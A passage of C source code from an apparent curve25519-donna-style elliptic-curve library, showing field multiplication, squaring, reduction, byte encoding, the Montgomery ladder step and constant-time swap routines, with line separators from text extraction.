||||
output[i] = in[i] * scalar;
|
||||
}
|
||||
}
|
||||
|
||||
/* Multiply two numbers: output = in2 * in
|
||||
*
|
||||
* output must be distinct to both inputs. The inputs are reduced coefficient
|
||||
* form, the output is not.
|
||||
*
|
||||
* output[x] <= 14 * the largest product of the input limbs. */
|
||||
static void fproduct(limb *output, const limb *in2, const limb *in) {
|
||||
output[0] = ((limb) ((s32) in2[0])) * ((s32) in[0]);
|
||||
output[1] = ((limb) ((s32) in2[0])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[0]);
|
||||
output[2] = 2 * ((limb) ((s32) in2[1])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[0]);
|
||||
output[3] = ((limb) ((s32) in2[1])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[0]);
|
||||
output[4] = ((limb) ((s32) in2[2])) * ((s32) in[2]) +
|
||||
2 * (((limb) ((s32) in2[1])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[0]);
|
||||
output[5] = ((limb) ((s32) in2[2])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[0]);
|
||||
output[6] = 2 * (((limb) ((s32) in2[3])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[0]);
|
||||
output[7] = ((limb) ((s32) in2[3])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[0]);
|
||||
output[8] = ((limb) ((s32) in2[4])) * ((s32) in[4]) +
|
||||
2 * (((limb) ((s32) in2[3])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[0]);
|
||||
output[9] = ((limb) ((s32) in2[4])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[0]);
|
||||
output[10] = 2 * (((limb) ((s32) in2[5])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[2]);
|
||||
output[11] = ((limb) ((s32) in2[5])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[2]);
|
||||
output[12] = ((limb) ((s32) in2[6])) * ((s32) in[6]) +
|
||||
2 * (((limb) ((s32) in2[5])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[3])) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[4]);
|
||||
output[13] = ((limb) ((s32) in2[6])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[4]);
|
||||
output[14] = 2 * (((limb) ((s32) in2[7])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[5])) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[6]);
|
||||
output[15] = ((limb) ((s32) in2[7])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[6]);
|
||||
output[16] = ((limb) ((s32) in2[8])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in2[7])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[7]));
|
||||
output[17] = ((limb) ((s32) in2[8])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[8]);
|
||||
output[18] = 2 * ((limb) ((s32) in2[9])) * ((s32) in[9]);
|
||||
}
|
||||
|
||||
/* Reduce a long form to a short form by taking the input mod 2^255 - 19.
|
||||
*
|
||||
* On entry: |output[i]| < 14*2^54
|
||||
* On exit: |output[0..8]| < 280*2^54 */
|
||||
static void freduce_degree(limb *output) {
|
||||
/* Each of these shifts and adds ends up multiplying the value by 19.
|
||||
*
|
||||
* For output[0..8], the absolute entry value is < 14*2^54 and we add, at
|
||||
* most, 19*14*2^54 thus, on exit, |output[0..8]| < 280*2^54. */
|
||||
output[8] += output[18] << 4;
|
||||
output[8] += output[18] << 1;
|
||||
output[8] += output[18];
|
||||
output[7] += output[17] << 4;
|
||||
output[7] += output[17] << 1;
|
||||
output[7] += output[17];
|
||||
output[6] += output[16] << 4;
|
||||
output[6] += output[16] << 1;
|
||||
output[6] += output[16];
|
||||
output[5] += output[15] << 4;
|
||||
output[5] += output[15] << 1;
|
||||
output[5] += output[15];
|
||||
output[4] += output[14] << 4;
|
||||
output[4] += output[14] << 1;
|
||||
output[4] += output[14];
|
||||
output[3] += output[13] << 4;
|
||||
output[3] += output[13] << 1;
|
||||
output[3] += output[13];
|
||||
output[2] += output[12] << 4;
|
||||
output[2] += output[12] << 1;
|
||||
output[2] += output[12];
|
||||
output[1] += output[11] << 4;
|
||||
output[1] += output[11] << 1;
|
||||
output[1] += output[11];
|
||||
output[0] += output[10] << 4;
|
||||
output[0] += output[10] << 1;
|
||||
output[0] += output[10];
|
||||
}
|
||||
|
||||
#if (-1 & 3) != 3
|
||||
#error "This code only works on a two's complement system"
|
||||
#endif
|
||||
|
||||
/* return v / 2^26, using only shifts and adds.
|
||||
*
|
||||
* On entry: v can take any value. */
|
||||
static inline limb
|
||||
div_by_2_26(const limb v)
|
||||
{
|
||||
/* High word of v; no shift needed. */
|
||||
const uint32_t highword = (uint32_t) (((uint64_t) v) >> 32);
|
||||
/* Set to all 1s if v was negative; else set to 0s. */
|
||||
const int32_t sign = ((int32_t) highword) >> 31;
|
||||
/* Set to 0x3ffffff if v was negative; else set to 0. */
|
||||
const int32_t roundoff = ((uint32_t) sign) >> 6;
|
||||
/* Should return v / (1<<26) */
|
||||
return (v + roundoff) >> 26;
|
||||
}
|
||||
|
||||
/* return v / (2^25), using only shifts and adds.
|
||||
*
|
||||
* On entry: v can take any value. */
|
||||
static inline limb
|
||||
div_by_2_25(const limb v)
|
||||
{
|
||||
/* High word of v; no shift needed*/
|
||||
const uint32_t highword = (uint32_t) (((uint64_t) v) >> 32);
|
||||
/* Set to all 1s if v was negative; else set to 0s. */
|
||||
const int32_t sign = ((int32_t) highword) >> 31;
|
||||
/* Set to 0x1ffffff if v was negative; else set to 0. */
|
||||
const int32_t roundoff = ((uint32_t) sign) >> 7;
|
||||
/* Should return v / (1<<25) */
|
||||
return (v + roundoff) >> 25;
|
||||
}
|
||||
|
||||
/* Reduce all coefficients of the short form input so that |x| < 2^26.
|
||||
*
|
||||
* On entry: |output[i]| < 280*2^54 */
|
||||
static void freduce_coefficients(limb *output) {
|
||||
unsigned i;
|
||||
|
||||
output[10] = 0;
|
||||
|
||||
for (i = 0; i < 10; i += 2) {
|
||||
limb over = div_by_2_26(output[i]);
|
||||
/* The entry condition (that |output[i]| < 280*2^54) means that over is, at
|
||||
* most, 280*2^28 in the first iteration of this loop. This is added to the
|
||||
* next limb and we can approximate the resulting bound of that limb by
|
||||
* 281*2^54. */
|
||||
output[i] -= over << 26;
|
||||
output[i+1] += over;
|
||||
|
||||
/* For the first iteration, |output[i+1]| < 281*2^54, thus |over| <
|
||||
* 281*2^29. When this is added to the next limb, the resulting bound can
|
||||
* be approximated as 281*2^54.
|
||||
*
|
||||
* For subsequent iterations of the loop, 281*2^54 remains a conservative
|
||||
* bound and no overflow occurs. */
|
||||
over = div_by_2_25(output[i+1]);
|
||||
output[i+1] -= over << 25;
|
||||
output[i+2] += over;
|
||||
}
|
||||
/* Now |output[10]| < 281*2^29 and all other coefficients are reduced. */
|
||||
output[0] += output[10] << 4;
|
||||
output[0] += output[10] << 1;
|
||||
output[0] += output[10];
|
||||
|
||||
output[10] = 0;
|
||||
|
||||
/* Now output[1..9] are reduced, and |output[0]| < 2^26 + 19*281*2^29
|
||||
* So |over| will be no more than 2^16. */
|
||||
{
|
||||
limb over = div_by_2_26(output[0]);
|
||||
output[0] -= over << 26;
|
||||
output[1] += over;
|
||||
}
|
||||
|
||||
/* Now output[0,2..9] are reduced, and |output[1]| < 2^25 + 2^16 < 2^26. The
|
||||
* bound on |output[1]| is sufficient to meet our needs. */
|
||||
}
|
||||
|
||||
/* A helpful wrapper around fproduct: output = in * in2.
|
||||
*
|
||||
* On entry: |in[i]| < 2^27 and |in2[i]| < 2^27.
|
||||
*
|
||||
* output must be distinct to both inputs. The output is reduced degree
|
||||
* (indeed, one need only provide storage for 10 limbs) and |output[i]| < 2^26. */
|
||||
static void
|
||||
fmul(limb *output, const limb *in, const limb *in2) {
|
||||
limb t[19];
|
||||
fproduct(t, in, in2);
|
||||
/* |t[i]| < 14*2^54 */
|
||||
freduce_degree(t);
|
||||
freduce_coefficients(t);
|
||||
/* |t[i]| < 2^26 */
|
||||
_memcpy(output, t, sizeof(limb) * 10);
|
||||
}
|
||||
|
||||
/* Square a number: output = in**2
|
||||
*
|
||||
* output must be distinct from the input. The inputs are reduced coefficient
|
||||
* form, the output is not.
|
||||
*
|
||||
* output[x] <= 14 * the largest product of the input limbs. */
|
||||
static void fsquare_inner(limb *output, const limb *in) {
|
||||
output[0] = ((limb) ((s32) in[0])) * ((s32) in[0]);
|
||||
output[1] = 2 * ((limb) ((s32) in[0])) * ((s32) in[1]);
|
||||
output[2] = 2 * (((limb) ((s32) in[1])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[2]));
|
||||
output[3] = 2 * (((limb) ((s32) in[1])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[3]));
|
||||
output[4] = ((limb) ((s32) in[2])) * ((s32) in[2]) +
|
||||
4 * ((limb) ((s32) in[1])) * ((s32) in[3]) +
|
||||
2 * ((limb) ((s32) in[0])) * ((s32) in[4]);
|
||||
output[5] = 2 * (((limb) ((s32) in[2])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[5]));
|
||||
output[6] = 2 * (((limb) ((s32) in[3])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[6]) +
|
||||
2 * ((limb) ((s32) in[1])) * ((s32) in[5]));
|
||||
output[7] = 2 * (((limb) ((s32) in[3])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[7]));
|
||||
output[8] = ((limb) ((s32) in[4])) * ((s32) in[4]) +
|
||||
2 * (((limb) ((s32) in[2])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in[1])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[5])));
|
||||
output[9] = 2 * (((limb) ((s32) in[4])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[9]));
|
||||
output[10] = 2 * (((limb) ((s32) in[5])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in[4])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in[3])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[9])));
|
||||
output[11] = 2 * (((limb) ((s32) in[5])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[4])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[9]));
|
||||
output[12] = ((limb) ((s32) in[6])) * ((s32) in[6]) +
|
||||
2 * (((limb) ((s32) in[4])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in[5])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[9])));
|
||||
output[13] = 2 * (((limb) ((s32) in[6])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[5])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[4])) * ((s32) in[9]));
|
||||
output[14] = 2 * (((limb) ((s32) in[7])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[6])) * ((s32) in[8]) +
|
||||
2 * ((limb) ((s32) in[5])) * ((s32) in[9]));
|
||||
output[15] = 2 * (((limb) ((s32) in[7])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[6])) * ((s32) in[9]));
|
||||
output[16] = ((limb) ((s32) in[8])) * ((s32) in[8]) +
|
||||
4 * ((limb) ((s32) in[7])) * ((s32) in[9]);
|
||||
output[17] = 2 * ((limb) ((s32) in[8])) * ((s32) in[9]);
|
||||
output[18] = 2 * ((limb) ((s32) in[9])) * ((s32) in[9]);
|
||||
}
|
||||
|
||||
/* fsquare sets output = in^2.
|
||||
*
|
||||
* On entry: The |in| argument is in reduced coefficients form and |in[i]| <
|
||||
* 2^27.
|
||||
*
|
||||
* On exit: The |output| argument is in reduced coefficients form (indeed, one
|
||||
* need only provide storage for 10 limbs) and |out[i]| < 2^26. */
|
||||
static void
|
||||
fsquare(limb *output, const limb *in) {
|
||||
limb t[19];
|
||||
fsquare_inner(t, in);
|
||||
/* |t[i]| < 14*2^54 because the largest product of two limbs will be <
|
||||
* 2^(27+27) and fsquare_inner adds together, at most, 14 of those
|
||||
* products. */
|
||||
freduce_degree(t);
|
||||
freduce_coefficients(t);
|
||||
/* |t[i]| < 2^26 */
|
||||
_memcpy(output, t, sizeof(limb) * 10);
|
||||
}
|
||||
|
||||
/* Take a little-endian, 32-byte number and expand it into polynomial form */
|
||||
static void
|
||||
fexpand(limb *output, const u8 *input) {
|
||||
#define F(n,start,shift,mask) \
|
||||
output[n] = ((((limb) input[start + 0]) | \
|
||||
((limb) input[start + 1]) << 8 | \
|
||||
((limb) input[start + 2]) << 16 | \
|
||||
((limb) input[start + 3]) << 24) >> shift) & mask;
|
||||
F(0, 0, 0, 0x3ffffff);
|
||||
F(1, 3, 2, 0x1ffffff);
|
||||
F(2, 6, 3, 0x3ffffff);
|
||||
F(3, 9, 5, 0x1ffffff);
|
||||
F(4, 12, 6, 0x3ffffff);
|
||||
F(5, 16, 0, 0x1ffffff);
|
||||
F(6, 19, 1, 0x3ffffff);
|
||||
F(7, 22, 3, 0x1ffffff);
|
||||
F(8, 25, 4, 0x3ffffff);
|
||||
F(9, 28, 6, 0x1ffffff);
|
||||
#undef F
|
||||
}
|
||||
|
||||
#if (-32 >> 1) != -16
|
||||
#error "This code only works when >> does sign-extension on negative numbers"
|
||||
#endif
|
||||
|
||||
/* s32_eq returns 0xffffffff iff a == b and zero otherwise. */
|
||||
static s32 s32_eq(s32 a, s32 b) {
|
||||
a = ~(a ^ b);
|
||||
a &= a << 16;
|
||||
a &= a << 8;
|
||||
a &= a << 4;
|
||||
a &= a << 2;
|
||||
a &= a << 1;
|
||||
return a >> 31;
|
||||
}
|
||||
|
||||
/* s32_gte returns 0xffffffff if a >= b and zero otherwise, where a and b are
|
||||
* both non-negative. */
|
||||
static s32 s32_gte(s32 a, s32 b) {
|
||||
a -= b;
|
||||
/* a >= 0 iff a >= b. */
|
||||
return ~(a >> 31);
|
||||
}
|
||||
|
||||
/* Take a fully reduced polynomial form number and contract it into a
|
||||
* little-endian, 32-byte array.
|
||||
*
|
||||
* On entry: |input_limbs[i]| < 2^26 */
|
||||
static void
|
||||
fcontract(u8 *output, limb *input_limbs) {
|
||||
int i;
|
||||
int j;
|
||||
s32 input[10];
|
||||
s32 mask;
|
||||
|
||||
/* |input_limbs[i]| < 2^26, so it's valid to convert to an s32. */
|
||||
for (i = 0; i < 10; i++) {
|
||||
input[i] = input_limbs[i];
|
||||
}
|
||||
|
||||
for (j = 0; j < 2; ++j) {
|
||||
for (i = 0; i < 9; ++i) {
|
||||
if ((i & 1) == 1) {
|
||||
/* This calculation is a time-invariant way to make input[i]
|
||||
* non-negative by borrowing from the next-larger limb. */
|
||||
const s32 mask = input[i] >> 31;
|
||||
const s32 carry = -((input[i] & mask) >> 25);
|
||||
input[i] = input[i] + (carry << 25);
|
||||
input[i+1] = input[i+1] - carry;
|
||||
} else {
|
||||
const s32 mask = input[i] >> 31;
|
||||
const s32 carry = -((input[i] & mask) >> 26);
|
||||
input[i] = input[i] + (carry << 26);
|
||||
input[i+1] = input[i+1] - carry;
|
||||
}
|
||||
}
|
||||
|
||||
/* There's no greater limb for input[9] to borrow from, but we can multiply
|
||||
* by 19 and borrow from input[0], which is valid mod 2^255-19. */
|
||||
{
|
||||
const s32 mask = input[9] >> 31;
|
||||
const s32 carry = -((input[9] & mask) >> 25);
|
||||
input[9] = input[9] + (carry << 25);
|
||||
input[0] = input[0] - (carry * 19);
|
||||
}
|
||||
|
||||
/* After the first iteration, input[1..9] are non-negative and fit within
|
||||
* 25 or 26 bits, depending on position. However, input[0] may be
|
||||
* negative. */
|
||||
}
|
||||
|
||||
/* The first borrow-propagation pass above ended with every limb
|
||||
except (possibly) input[0] non-negative.
|
||||
|
||||
If input[0] was negative after the first pass, then it was because of a
|
||||
carry from input[9]. On entry, input[9] < 2^26 so the carry was, at most,
|
||||
one, since (2**26-1) >> 25 = 1. Thus input[0] >= -19.
|
||||
|
||||
In the second pass, each limb is decreased by at most one. Thus the second
|
||||
borrow-propagation pass could only have wrapped around to decrease
|
||||
input[0] again if the first pass left input[0] negative *and* input[1]
|
||||
through input[9] were all zero. In that case, input[1] is now 2^25 - 1,
|
||||
and this last borrow-propagation step will leave input[1] non-negative. */
|
||||
{
|
||||
const s32 mask = input[0] >> 31;
|
||||
const s32 carry = -((input[0] & mask) >> 26);
|
||||
input[0] = input[0] + (carry << 26);
|
||||
input[1] = input[1] - carry;
|
||||
}
|
||||
|
||||
/* All input[i] are now non-negative. However, there might be values between
|
||||
* 2^25 and 2^26 in a limb which is, nominally, 25 bits wide. */
|
||||
for (j = 0; j < 2; j++) {
|
||||
for (i = 0; i < 9; i++) {
|
||||
if ((i & 1) == 1) {
|
||||
const s32 carry = input[i] >> 25;
|
||||
input[i] &= 0x1ffffff;
|
||||
input[i+1] += carry;
|
||||
} else {
|
||||
const s32 carry = input[i] >> 26;
|
||||
input[i] &= 0x3ffffff;
|
||||
input[i+1] += carry;
|
||||
}
|
||||
}
|
||||
|
||||
{
|
||||
const s32 carry = input[9] >> 25;
|
||||
input[9] &= 0x1ffffff;
|
||||
input[0] += 19*carry;
|
||||
}
|
||||
}
|
||||
|
||||
/* If the first carry-chain pass, just above, ended up with a carry from
|
||||
* input[9], and that caused input[0] to be out-of-bounds, then input[0] was
|
||||
* < 2^26 + 2*19, because the carry was, at most, two.
|
||||
*
|
||||
* If the second pass carried from input[9] again then input[0] is < 2*19 and
|
||||
* the input[9] -> input[0] carry didn't push input[0] out of bounds. */
|
||||
|
||||
/* It still remains the case that input might be between 2^255-19 and 2^255.
|
||||
* In this case, input[1..9] must take their maximum value and input[0] must
|
||||
* be >= (2^255-19) & 0x3ffffff, which is 0x3ffffed. */
|
||||
mask = s32_gte(input[0], 0x3ffffed);
|
||||
for (i = 1; i < 10; i++) {
|
||||
if ((i & 1) == 1) {
|
||||
mask &= s32_eq(input[i], 0x1ffffff);
|
||||
} else {
|
||||
mask &= s32_eq(input[i], 0x3ffffff);
|
||||
}
|
||||
}
|
||||
|
||||
/* mask is either 0xffffffff (if input >= 2^255-19) and zero otherwise. Thus
|
||||
* this conditionally subtracts 2^255-19. */
|
||||
input[0] -= mask & 0x3ffffed;
|
||||
|
||||
for (i = 1; i < 10; i++) {
|
||||
if ((i & 1) == 1) {
|
||||
input[i] -= mask & 0x1ffffff;
|
||||
} else {
|
||||
input[i] -= mask & 0x3ffffff;
|
||||
}
|
||||
}
|
||||
|
||||
input[1] <<= 2;
|
||||
input[2] <<= 3;
|
||||
input[3] <<= 5;
|
||||
input[4] <<= 6;
|
||||
input[6] <<= 1;
|
||||
input[7] <<= 3;
|
||||
input[8] <<= 4;
|
||||
input[9] <<= 6;
|
||||
#define F(i, s) \
|
||||
output[s+0] |= input[i] & 0xff; \
|
||||
output[s+1] = (input[i] >> 8) & 0xff; \
|
||||
output[s+2] = (input[i] >> 16) & 0xff; \
|
||||
output[s+3] = (input[i] >> 24) & 0xff;
|
||||
output[0] = 0;
|
||||
output[16] = 0;
|
||||
F(0,0);
|
||||
F(1,3);
|
||||
F(2,6);
|
||||
F(3,9);
|
||||
F(4,12);
|
||||
F(5,16);
|
||||
F(6,19);
|
||||
F(7,22);
|
||||
F(8,25);
|
||||
F(9,28);
|
||||
#undef F
|
||||
}
|
||||
|
||||
/* Input: Q, Q', Q-Q'
|
||||
* Output: 2Q, Q+Q'
|
||||
*
|
||||
* x2 z3: long form
|
||||
* x3 z3: long form
|
||||
* x z: short form, destroyed
|
||||
* xprime zprime: short form, destroyed
|
||||
* qmqp: short form, preserved
|
||||
*
|
||||
* On entry and exit, the absolute value of the limbs of all inputs and outputs
|
||||
* are < 2^26. */
|
||||
static void fmonty(limb *x2, limb *z2, /* output 2Q */
|
||||
limb *x3, limb *z3, /* output Q + Q' */
|
||||
limb *x, limb *z, /* input Q */
|
||||
limb *xprime, limb *zprime, /* input Q' */
|
||||
const limb *qmqp /* input Q - Q' */) {
|
||||
limb origx[10], origxprime[10], zzz[19], xx[19], zz[19], xxprime[19],
|
||||
zzprime[19], zzzprime[19], xxxprime[19];
|
||||
|
||||
_memcpy(origx, x, 10 * sizeof(limb));
|
||||
fsum(x, z);
|
||||
/* |x[i]| < 2^27 */
|
||||
fdifference(z, origx); /* does x - z */
|
||||
/* |z[i]| < 2^27 */
|
||||
|
||||
_memcpy(origxprime, xprime, sizeof(limb) * 10);
|
||||
fsum(xprime, zprime);
|
||||
/* |xprime[i]| < 2^27 */
|
||||
fdifference(zprime, origxprime);
|
||||
/* |zprime[i]| < 2^27 */
|
||||
fproduct(xxprime, xprime, z);
|
||||
/* |xxprime[i]| < 14*2^54: the largest product of two limbs will be <
|
||||
* 2^(27+27) and fproduct adds together, at most, 14 of those products.
|
||||
* (Approximating that to 2^58 doesn't work out.) */
|
||||
fproduct(zzprime, x, zprime);
|
||||
/* |zzprime[i]| < 14*2^54 */
|
||||
freduce_degree(xxprime);
|
||||
freduce_coefficients(xxprime);
|
||||
/* |xxprime[i]| < 2^26 */
|
||||
freduce_degree(zzprime);
|
||||
freduce_coefficients(zzprime);
|
||||
/* |zzprime[i]| < 2^26 */
|
||||
_memcpy(origxprime, xxprime, sizeof(limb) * 10);
|
||||
fsum(xxprime, zzprime);
|
||||
/* |xxprime[i]| < 2^27 */
|
||||
fdifference(zzprime, origxprime);
|
||||
/* |zzprime[i]| < 2^27 */
|
||||
fsquare(xxxprime, xxprime);
|
||||
/* |xxxprime[i]| < 2^26 */
|
||||
fsquare(zzzprime, zzprime);
|
||||
/* |zzzprime[i]| < 2^26 */
|
||||
fproduct(zzprime, zzzprime, qmqp);
|
||||
/* |zzprime[i]| < 14*2^52 */
|
||||
freduce_degree(zzprime);
|
||||
freduce_coefficients(zzprime);
|
||||
/* |zzprime[i]| < 2^26 */
|
||||
_memcpy(x3, xxxprime, sizeof(limb) * 10);
|
||||
_memcpy(z3, zzprime, sizeof(limb) * 10);
|
||||
|
||||
fsquare(xx, x);
|
||||
/* |xx[i]| < 2^26 */
|
||||
fsquare(zz, z);
|
||||
/* |zz[i]| < 2^26 */
|
||||
fproduct(x2, xx, zz);
|
||||
/* |x2[i]| < 14*2^52 */
|
||||
freduce_degree(x2);
|
||||
freduce_coefficients(x2);
|
||||
/* |x2[i]| < 2^26 */
|
||||
fdifference(zz, xx); // does zz = xx - zz
|
||||
/* |zz[i]| < 2^27 */
|
||||
_memset(zzz + 10, 0, sizeof(limb) * 9);
|
||||
fscalar_product(zzz, zz, 121665);
|
||||
/* |zzz[i]| < 2^(27+17) */
|
||||
/* No need to call freduce_degree here:
|
||||
fscalar_product doesn't increase the degree of its input. */
|
||||
freduce_coefficients(zzz);
|
||||
/* |zzz[i]| < 2^26 */
|
||||
fsum(zzz, xx);
|
||||
/* |zzz[i]| < 2^27 */
|
||||
fproduct(z2, zz, zzz);
|
||||
/* |z2[i]| < 14*2^(26+27) */
|
||||
freduce_degree(z2);
|
||||
freduce_coefficients(z2);
|
||||
/* |z2|i| < 2^26 */
|
||||
}
|
||||
|
||||
/* Conditionally swap two reduced-form limb arrays if 'iswap' is 1, but leave
|
||||
* them unchanged if 'iswap' is 0. Runs in data-invariant time to avoid
|
||||
* side-channel attacks.
|
||||
*
|
||||
* NOTE that this function requires that 'iswap' be 1 or 0; other values give
|
||||
* wrong results. Also, the two limb arrays must be in reduced-coefficient,
|
||||
* reduced-degree form: the values in a[10..19] or b[10..19] aren't swapped,
|
||||
* and all all values in a[0..9],b[0..9] must have magnitude less than
|
||||
* INT32_MAX. */
|
||||
static void
|
||||
swap_conditional(limb a[19], limb b[19], limb iswap) {
|
||||
unsigned i;
|
||||
const s32 swap = (s32) -iswap;
|
||||
|
||||
for (i = 0; i < 10; ++i) {
|
||||
const s32 x = swap & ( ((s32)a[i]) ^ ((s32)b[i]) );
|
||||
a[i] = ((s32)a[i]) ^ x;
|
||||
b[i] = ((s32)b[i]) ^ x;
|
||||
}
|
||||
}
|
||||
|
||||
/* Calculates nQ where Q is the x-coordinate of a point on the curve
|
||||
*
|
||||
* resultx/resultz: the x coordinate of the resulting curve point (short form)
|
||||
* n: a little endian, 32-byte number
|
||||
* q: a point of the curve (short form) */
|
||||
static void
|
||||
cmult(limb *resultx, limb *resultz, const u8 *n, const limb *q) {
|
||||
limb a[19], b[19], c[19], d[19];
|
||||
limb *nqpqx = a, *nqpqz = b, *nqx = c, *nqz = d, *t;
|
||||
limb e[19], f[19], g[19], h[19];
|
||||
limb *nqpqx2 = e, *nqpqz2 = f, *nqx2 = g, *nqz2 = h;
|
||||
|
||||
for (int i = 0; i < 19; i++) {
|
||||
a[i] = 0;
|
||||
b[i] = 0;
|
||||
c[i] = 0;
|
||||
d[i] = 0;
|
||||
